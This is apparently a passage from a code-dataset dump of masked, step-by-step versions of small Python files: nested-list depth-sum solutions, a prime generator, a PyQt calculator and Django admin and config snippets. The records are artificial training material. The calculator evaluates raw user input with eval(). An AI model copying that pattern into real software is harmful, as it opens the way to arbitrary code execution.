"step-1": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n",
"step-2": "<mask token>\n\n\nclass Solution(object):\n <mask token>\n <mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n",
"step-3": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n <mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n",
"step-4": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n\n def dfs(self, nestedList, depth):\n sum = 0\n for item in nestedList:\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n sum += self.dfs(item.getList(), depth + 1)\n return sum\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n",
"step-5": "\"\"\"\nThis is the interface that allows for creating nested lists.\nYou should not implement it, or speculate about its implementation\n\nclass NestedInteger(object):\n def isInteger(self):\n # @return {boolean} True if this NestedInteger holds a single integer,\n # rather than a nested list.\n\n def getInteger(self):\n # @return {int} the single integer that this NestedInteger holds,\n # if it holds a single integer\n # Return None if this NestedInteger holds a nested list\n\n def getList(self):\n # @return {NestedInteger[]} the nested list that this NestedInteger holds,\n # if it holds a nested list\n # Return None if this NestedInteger holds a single integer\n\"\"\"\n\n\n# Version 1: DFS Recursive\nclass Solution(object):\n # @param {NestedInteger[]} nestedList a list of NestedInteger Object\n # @return {int} an integer\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n\n def dfs(self, nestedList, depth):\n sum = 0\n for item in nestedList:\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n sum += self.dfs(item.getList(), depth + 1)\n\n return sum\n\n\n\n\n# Version 2: BFS, Non-Recursive\nclass Solution(object):\n # @param {NestedInteger[]} nestedList a list of NestedInteger Object\n # @return {int} an integer\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n\n for item in nestedList:\n q.put(item)\n\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n\n return sum",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
default_app_config = 'teacher.apps.A1Config'
|
flexible
|
{
"blob_id": "c466c7e05608b1fbba5eea5bec16d301cee3688f",
"index": 9817,
"step-1": "<mask token>\n",
"step-2": "default_app_config = 'teacher.apps.A1Config'\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
from math import sqrt
def prime_generator(n):
pp=[2,3]
for i in range(3,n):
i+=2
count=0
for ps in pp:
if ps>(sqrt(i)+1):
break
if i%ps==0:
count+=1
break
if count==0:
pp.append(i)
return pp
|
normal
|
{
"blob_id": "cfa064611a4aa16638bd649c68d64872b9fac1ff",
"index": 4647,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef prime_generator(n):\n pp = [2, 3]\n for i in range(3, n):\n i += 2\n count = 0\n for ps in pp:\n if ps > sqrt(i) + 1:\n break\n if i % ps == 0:\n count += 1\n break\n if count == 0:\n pp.append(i)\n return pp\n",
"step-3": "from math import sqrt\n\n\ndef prime_generator(n):\n pp = [2, 3]\n for i in range(3, n):\n i += 2\n count = 0\n for ps in pp:\n if ps > sqrt(i) + 1:\n break\n if i % ps == 0:\n count += 1\n break\n if count == 0:\n pp.append(i)\n return pp\n",
"step-4": "from math import sqrt\ndef prime_generator(n):\n pp=[2,3]\n for i in range(3,n):\n i+=2\n count=0\n for ps in pp:\n if ps>(sqrt(i)+1):\n break\n if i%ps==0:\n count+=1\n break \n if count==0:\n pp.append(i)\n return pp\n\n\n\n\n \n\n\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
class Calculator(QWidget):
<|reserved_special_token_0|>
def accept_button_value(self, number):
if number == 'Clean':
self.number_str = ''
elif number == 'Backspace':
self.number_str = list(self.number_str)
if len(self.number_str) > 0:
self.number_str.pop()
self.number_str = ''.join(self.number_str)
else:
self.number_str = ''
elif number == 'Infor':
self.number_str = self.version
else:
line_edit_content = self.lineEdit.text()
if line_edit_content.find(self.version) >= 0:
self.number_str = ''
self.number_str = str(self.number_str) + str(number)
print(self.number_str)
self.lineEdit.setText(str(self.number_str))
def calculation_results(self, infor):
line_edit_content = self.lineEdit.text()
print(line_edit_content)
result = 0.0
if line_edit_content.find(self.version) >= 0:
self.lineEdit.setText('输入错误')
else:
try:
result = eval(line_edit_content)
except:
result = '计算错误,请检查输入'
self.lineEdit.setText(str(result))
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Calculator(QWidget):
def __init__(self):
self.number_str = ''
self.version = '小树计算器 V1.0'
super().__init__()
self.resize(400, 400)
from PyQt5.uic import loadUi
loadUi('calculator_gui.ui', self)
self.Button_0.clicked.connect(lambda : self.accept_button_value(0))
self.Button_1.clicked.connect(lambda : self.accept_button_value(1))
self.Button_2.clicked.connect(lambda : self.accept_button_value(2))
self.Button_3.clicked.connect(lambda : self.accept_button_value(3))
self.Button_4.clicked.connect(lambda : self.accept_button_value(4))
self.Button_5.clicked.connect(lambda : self.accept_button_value(5))
self.Button_6.clicked.connect(lambda : self.accept_button_value(6))
self.Button_7.clicked.connect(lambda : self.accept_button_value(7))
self.Button_8.clicked.connect(lambda : self.accept_button_value(8))
self.Button_9.clicked.connect(lambda : self.accept_button_value(9))
self.Button_addition.clicked.connect(lambda : self.
accept_button_value('+'))
self.Button_subtraction.clicked.connect(lambda : self.
accept_button_value('-'))
self.Button_multiplication.clicked.connect(lambda : self.
accept_button_value('*'))
self.Button_division.clicked.connect(lambda : self.
accept_button_value('/'))
self.Button_Backspace.clicked.connect(lambda : self.
accept_button_value('Backspace'))
self.Button_Clean.clicked.connect(lambda : self.accept_button_value
('Clean'))
self.Button_Infor.clicked.connect(lambda : self.accept_button_value
('Infor'))
self.Button_L_par.clicked.connect(lambda : self.accept_button_value
('('))
self.Button_R_par.clicked.connect(lambda : self.accept_button_value
(')'))
self.Button_result.clicked.connect(lambda : self.
calculation_results('计算结果'))
def accept_button_value(self, number):
if number == 'Clean':
self.number_str = ''
elif number == 'Backspace':
self.number_str = list(self.number_str)
if len(self.number_str) > 0:
self.number_str.pop()
self.number_str = ''.join(self.number_str)
else:
self.number_str = ''
elif number == 'Infor':
self.number_str = self.version
else:
line_edit_content = self.lineEdit.text()
if line_edit_content.find(self.version) >= 0:
self.number_str = ''
self.number_str = str(self.number_str) + str(number)
print(self.number_str)
self.lineEdit.setText(str(self.number_str))
def calculation_results(self, infor):
line_edit_content = self.lineEdit.text()
print(line_edit_content)
result = 0.0
if line_edit_content.find(self.version) >= 0:
self.lineEdit.setText('输入错误')
else:
try:
result = eval(line_edit_content)
except:
result = '计算错误,请检查输入'
self.lineEdit.setText(str(result))
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Calculator(QWidget):
def __init__(self):
self.number_str = ''
self.version = '小树计算器 V1.0'
super().__init__()
self.resize(400, 400)
from PyQt5.uic import loadUi
loadUi('calculator_gui.ui', self)
self.Button_0.clicked.connect(lambda : self.accept_button_value(0))
self.Button_1.clicked.connect(lambda : self.accept_button_value(1))
self.Button_2.clicked.connect(lambda : self.accept_button_value(2))
self.Button_3.clicked.connect(lambda : self.accept_button_value(3))
self.Button_4.clicked.connect(lambda : self.accept_button_value(4))
self.Button_5.clicked.connect(lambda : self.accept_button_value(5))
self.Button_6.clicked.connect(lambda : self.accept_button_value(6))
self.Button_7.clicked.connect(lambda : self.accept_button_value(7))
self.Button_8.clicked.connect(lambda : self.accept_button_value(8))
self.Button_9.clicked.connect(lambda : self.accept_button_value(9))
self.Button_addition.clicked.connect(lambda : self.
accept_button_value('+'))
self.Button_subtraction.clicked.connect(lambda : self.
accept_button_value('-'))
self.Button_multiplication.clicked.connect(lambda : self.
accept_button_value('*'))
self.Button_division.clicked.connect(lambda : self.
accept_button_value('/'))
self.Button_Backspace.clicked.connect(lambda : self.
accept_button_value('Backspace'))
self.Button_Clean.clicked.connect(lambda : self.accept_button_value
('Clean'))
self.Button_Infor.clicked.connect(lambda : self.accept_button_value
('Infor'))
self.Button_L_par.clicked.connect(lambda : self.accept_button_value
('('))
self.Button_R_par.clicked.connect(lambda : self.accept_button_value
(')'))
self.Button_result.clicked.connect(lambda : self.
calculation_results('计算结果'))
def accept_button_value(self, number):
if number == 'Clean':
self.number_str = ''
elif number == 'Backspace':
self.number_str = list(self.number_str)
if len(self.number_str) > 0:
self.number_str.pop()
self.number_str = ''.join(self.number_str)
else:
self.number_str = ''
elif number == 'Infor':
self.number_str = self.version
else:
line_edit_content = self.lineEdit.text()
if line_edit_content.find(self.version) >= 0:
self.number_str = ''
self.number_str = str(self.number_str) + str(number)
print(self.number_str)
self.lineEdit.setText(str(self.number_str))
def calculation_results(self, infor):
line_edit_content = self.lineEdit.text()
print(line_edit_content)
result = 0.0
if line_edit_content.find(self.version) >= 0:
self.lineEdit.setText('输入错误')
else:
try:
result = eval(line_edit_content)
except:
result = '计算错误,请检查输入'
self.lineEdit.setText(str(result))
if __name__ == '__main__':
app = QApplication(sys.argv)
w = Calculator()
w.show()
sys.exit(app.exec_())
<|reserved_special_token_1|>
from PyQt5.QtWidgets import QApplication, QWidget
import sys
class Calculator(QWidget):
def __init__(self):
self.number_str = ''
self.version = '小树计算器 V1.0'
super().__init__()
self.resize(400, 400)
from PyQt5.uic import loadUi
loadUi('calculator_gui.ui', self)
self.Button_0.clicked.connect(lambda : self.accept_button_value(0))
self.Button_1.clicked.connect(lambda : self.accept_button_value(1))
self.Button_2.clicked.connect(lambda : self.accept_button_value(2))
self.Button_3.clicked.connect(lambda : self.accept_button_value(3))
self.Button_4.clicked.connect(lambda : self.accept_button_value(4))
self.Button_5.clicked.connect(lambda : self.accept_button_value(5))
self.Button_6.clicked.connect(lambda : self.accept_button_value(6))
self.Button_7.clicked.connect(lambda : self.accept_button_value(7))
self.Button_8.clicked.connect(lambda : self.accept_button_value(8))
self.Button_9.clicked.connect(lambda : self.accept_button_value(9))
self.Button_addition.clicked.connect(lambda : self.
accept_button_value('+'))
self.Button_subtraction.clicked.connect(lambda : self.
accept_button_value('-'))
self.Button_multiplication.clicked.connect(lambda : self.
accept_button_value('*'))
self.Button_division.clicked.connect(lambda : self.
accept_button_value('/'))
self.Button_Backspace.clicked.connect(lambda : self.
accept_button_value('Backspace'))
self.Button_Clean.clicked.connect(lambda : self.accept_button_value
('Clean'))
self.Button_Infor.clicked.connect(lambda : self.accept_button_value
('Infor'))
self.Button_L_par.clicked.connect(lambda : self.accept_button_value
('('))
self.Button_R_par.clicked.connect(lambda : self.accept_button_value
(')'))
self.Button_result.clicked.connect(lambda : self.
calculation_results('计算结果'))
def accept_button_value(self, number):
if number == 'Clean':
self.number_str = ''
elif number == 'Backspace':
self.number_str = list(self.number_str)
if len(self.number_str) > 0:
self.number_str.pop()
self.number_str = ''.join(self.number_str)
else:
self.number_str = ''
elif number == 'Infor':
self.number_str = self.version
else:
line_edit_content = self.lineEdit.text()
if line_edit_content.find(self.version) >= 0:
self.number_str = ''
self.number_str = str(self.number_str) + str(number)
print(self.number_str)
self.lineEdit.setText(str(self.number_str))
def calculation_results(self, infor):
line_edit_content = self.lineEdit.text()
print(line_edit_content)
result = 0.0
if line_edit_content.find(self.version) >= 0:
self.lineEdit.setText('输入错误')
else:
try:
result = eval(line_edit_content)
except:
result = '计算错误,请检查输入'
self.lineEdit.setText(str(result))
if __name__ == '__main__':
app = QApplication(sys.argv)
w = Calculator()
w.show()
sys.exit(app.exec_())
<|reserved_special_token_1|>
from PyQt5.QtWidgets import QApplication, QWidget
import sys
class Calculator(QWidget):
def __init__(self):
self.number_str = ""
self.version = "小树计算器 V1.0"
super().__init__()
self.resize(400,400)
from PyQt5.uic import loadUi # 需要导入的模块
#loadUi("record.ui", self) #加载UI文件
loadUi("calculator_gui.ui", self) #加载UI文件
#信号槽---- 按键触发
self.Button_0.clicked.connect(lambda: self.accept_button_value(0))
self.Button_1.clicked.connect(lambda: self.accept_button_value(1))
self.Button_2.clicked.connect(lambda: self.accept_button_value(2))
self.Button_3.clicked.connect(lambda: self.accept_button_value(3))
self.Button_4.clicked.connect(lambda: self.accept_button_value(4))
self.Button_5.clicked.connect(lambda: self.accept_button_value(5))
self.Button_6.clicked.connect(lambda: self.accept_button_value(6))
self.Button_7.clicked.connect(lambda: self.accept_button_value(7))
self.Button_8.clicked.connect(lambda: self.accept_button_value(8))
self.Button_9.clicked.connect(lambda: self.accept_button_value(9))
#功能按键触发
self.Button_addition.clicked.connect(lambda: self.accept_button_value("+"))
self.Button_subtraction.clicked.connect(lambda: self.accept_button_value("-"))
self.Button_multiplication.clicked.connect(lambda: self.accept_button_value("*"))
self.Button_division.clicked.connect(lambda: self.accept_button_value("/"))
self.Button_Backspace.clicked.connect(lambda: self.accept_button_value("Backspace"))
self.Button_Clean.clicked.connect(lambda: self.accept_button_value("Clean"))
self.Button_Infor.clicked.connect(lambda: self.accept_button_value("Infor"))
self.Button_L_par.clicked.connect(lambda: self.accept_button_value("("))
self.Button_R_par.clicked.connect(lambda: self.accept_button_value(")"))
self.Button_result.clicked.connect(lambda: self.calculation_results("计算结果"))
def accept_button_value(self, number):
if number == "Clean":
self.number_str = ""
elif number == "Backspace":
self.number_str = list(self.number_str)
if len(self.number_str) > 0:
self.number_str.pop()
self.number_str = "".join(self.number_str)
else:
self.number_str = ""
elif number == "Infor":
self.number_str = self.version
else:
line_edit_content = self.lineEdit.text()
if line_edit_content.find(self.version) >= 0:
self.number_str = ""
self.number_str = str(self.number_str) + str(number)
print(self.number_str)
self.lineEdit.setText(str(self.number_str))
def calculation_results(self, infor):
line_edit_content = self.lineEdit.text()
print(line_edit_content)
result = 0.0
if line_edit_content.find(self.version) >= 0:
self.lineEdit.setText("输入错误")
else:
try:
result = eval(line_edit_content)
except:
result = "计算错误,请检查输入"
self.lineEdit.setText(str(result))
if __name__=='__main__':
app=QApplication(sys.argv)
w=Calculator()
w.show()
sys.exit(app.exec_())
|
flexible
|
{
"blob_id": "4df9af863a857c3bbc3c266d745a49b6ef78ba9b",
"index": 1994,
"step-1": "<mask token>\n\n\nclass Calculator(QWidget):\n <mask token>\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = Calculator()\n w.show()\n sys.exit(app.exec_())\n",
"step-4": "from PyQt5.QtWidgets import QApplication, QWidget\nimport sys\n\n\nclass Calculator(QWidget):\n\n def __init__(self):\n self.number_str = ''\n self.version = '小树计算器 V1.0'\n super().__init__()\n self.resize(400, 400)\n from PyQt5.uic import loadUi\n loadUi('calculator_gui.ui', self)\n self.Button_0.clicked.connect(lambda : self.accept_button_value(0))\n self.Button_1.clicked.connect(lambda : self.accept_button_value(1))\n self.Button_2.clicked.connect(lambda : self.accept_button_value(2))\n self.Button_3.clicked.connect(lambda : self.accept_button_value(3))\n self.Button_4.clicked.connect(lambda : self.accept_button_value(4))\n self.Button_5.clicked.connect(lambda : self.accept_button_value(5))\n self.Button_6.clicked.connect(lambda : self.accept_button_value(6))\n self.Button_7.clicked.connect(lambda : self.accept_button_value(7))\n self.Button_8.clicked.connect(lambda : self.accept_button_value(8))\n self.Button_9.clicked.connect(lambda : self.accept_button_value(9))\n self.Button_addition.clicked.connect(lambda : self.\n accept_button_value('+'))\n self.Button_subtraction.clicked.connect(lambda : self.\n accept_button_value('-'))\n self.Button_multiplication.clicked.connect(lambda : self.\n accept_button_value('*'))\n self.Button_division.clicked.connect(lambda : self.\n accept_button_value('/'))\n self.Button_Backspace.clicked.connect(lambda : self.\n accept_button_value('Backspace'))\n self.Button_Clean.clicked.connect(lambda : self.accept_button_value\n ('Clean'))\n self.Button_Infor.clicked.connect(lambda : self.accept_button_value\n ('Infor'))\n self.Button_L_par.clicked.connect(lambda : self.accept_button_value\n ('('))\n self.Button_R_par.clicked.connect(lambda : self.accept_button_value\n (')'))\n self.Button_result.clicked.connect(lambda : self.\n calculation_results('计算结果'))\n\n def accept_button_value(self, number):\n if number == 'Clean':\n self.number_str = ''\n elif number == 'Backspace':\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = ''.join(self.number_str)\n else:\n self.number_str = ''\n elif number == 'Infor':\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = ''\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText('输入错误')\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = '计算错误,请检查输入'\n self.lineEdit.setText(str(result))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = Calculator()\n w.show()\n sys.exit(app.exec_())\n",
"step-5": "from PyQt5.QtWidgets import QApplication, QWidget\nimport sys\n\nclass Calculator(QWidget):\n def __init__(self):\n self.number_str = \"\"\n self.version = \"小树计算器 V1.0\"\n\n super().__init__()\n self.resize(400,400)\n\n from PyQt5.uic import loadUi # 需要导入的模块\n #loadUi(\"record.ui\", self) #加载UI文件\n loadUi(\"calculator_gui.ui\", self) #加载UI文件\n\n #信号槽---- 按键触发\n self.Button_0.clicked.connect(lambda: self.accept_button_value(0)) \n self.Button_1.clicked.connect(lambda: self.accept_button_value(1)) \n self.Button_2.clicked.connect(lambda: self.accept_button_value(2)) \n self.Button_3.clicked.connect(lambda: self.accept_button_value(3)) \n self.Button_4.clicked.connect(lambda: self.accept_button_value(4)) \n self.Button_5.clicked.connect(lambda: self.accept_button_value(5)) \n self.Button_6.clicked.connect(lambda: self.accept_button_value(6)) \n self.Button_7.clicked.connect(lambda: self.accept_button_value(7)) \n self.Button_8.clicked.connect(lambda: self.accept_button_value(8)) \n self.Button_9.clicked.connect(lambda: self.accept_button_value(9)) \n \n #功能按键触发\n self.Button_addition.clicked.connect(lambda: self.accept_button_value(\"+\"))\n self.Button_subtraction.clicked.connect(lambda: self.accept_button_value(\"-\"))\n self.Button_multiplication.clicked.connect(lambda: self.accept_button_value(\"*\"))\n self.Button_division.clicked.connect(lambda: self.accept_button_value(\"/\"))\n\n self.Button_Backspace.clicked.connect(lambda: self.accept_button_value(\"Backspace\"))\n self.Button_Clean.clicked.connect(lambda: self.accept_button_value(\"Clean\")) \n self.Button_Infor.clicked.connect(lambda: self.accept_button_value(\"Infor\"))\n self.Button_L_par.clicked.connect(lambda: self.accept_button_value(\"(\"))\n self.Button_R_par.clicked.connect(lambda: self.accept_button_value(\")\"))\n\n self.Button_result.clicked.connect(lambda: self.calculation_results(\"计算结果\"))\n\n \n\n def accept_button_value(self, number):\n if number == \"Clean\":\n self.number_str = \"\"\n elif number == \"Backspace\":\n self.number_str = list(self.number_str)\n if len(self.number_str) > 0:\n self.number_str.pop()\n self.number_str = \"\".join(self.number_str)\n else:\n self.number_str = \"\"\n elif number == \"Infor\":\n self.number_str = self.version\n else:\n line_edit_content = self.lineEdit.text()\n if line_edit_content.find(self.version) >= 0:\n self.number_str = \"\"\n self.number_str = str(self.number_str) + str(number)\n print(self.number_str)\n self.lineEdit.setText(str(self.number_str))\n\n def calculation_results(self, infor):\n line_edit_content = self.lineEdit.text()\n print(line_edit_content)\n result = 0.0\n if line_edit_content.find(self.version) >= 0:\n self.lineEdit.setText(\"输入错误\")\n else:\n try:\n result = eval(line_edit_content)\n except:\n result = \"计算错误,请检查输入\"\n self.lineEdit.setText(str(result))\n \n\n \n\nif __name__=='__main__':\n app=QApplication(sys.argv)\n w=Calculator()\n w.show()\n sys.exit(app.exec_())\n",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
<|reserved_special_token_0|>
class StoreIdAdmin(admin.ModelAdmin):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class StoreIdAdmin(admin.ModelAdmin):
list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',
'start_date', 'end_date')
search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class StoreIdAdmin(admin.ModelAdmin):
list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',
'start_date', 'end_date')
search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']
admin.site.register(StoreId, StoreIdAdmin)
<|reserved_special_token_1|>
from django.contrib import admin
from .models import StoreId
class StoreIdAdmin(admin.ModelAdmin):
list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',
'start_date', 'end_date')
search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']
admin.site.register(StoreId, StoreIdAdmin)
<|reserved_special_token_1|>
from django.contrib import admin
from .models import StoreId
# Register your models here.
class StoreIdAdmin(admin.ModelAdmin):
list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id', 'start_date', 'end_date')
search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']
admin.site.register(StoreId, StoreIdAdmin)
|
flexible
|
{
"blob_id": "6475fd59ba2414ea9a174297a8d94e5a2e0a7d8f",
"index": 3783,
"step-1": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n <mask token>\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\nadmin.site.register(StoreId, StoreIdAdmin)\n",
"step-4": "from django.contrib import admin\nfrom .models import StoreId\n\n\nclass StoreIdAdmin(admin.ModelAdmin):\n list_display = ('userid', 'aladin_id', 'yes24_id', 'ridibooks_id',\n 'start_date', 'end_date')\n search_fields = ['userid', 'aladin_id', 'yes24_id', 'ridibooks_id']\n\n\nadmin.site.register(StoreId, StoreIdAdmin)\n",
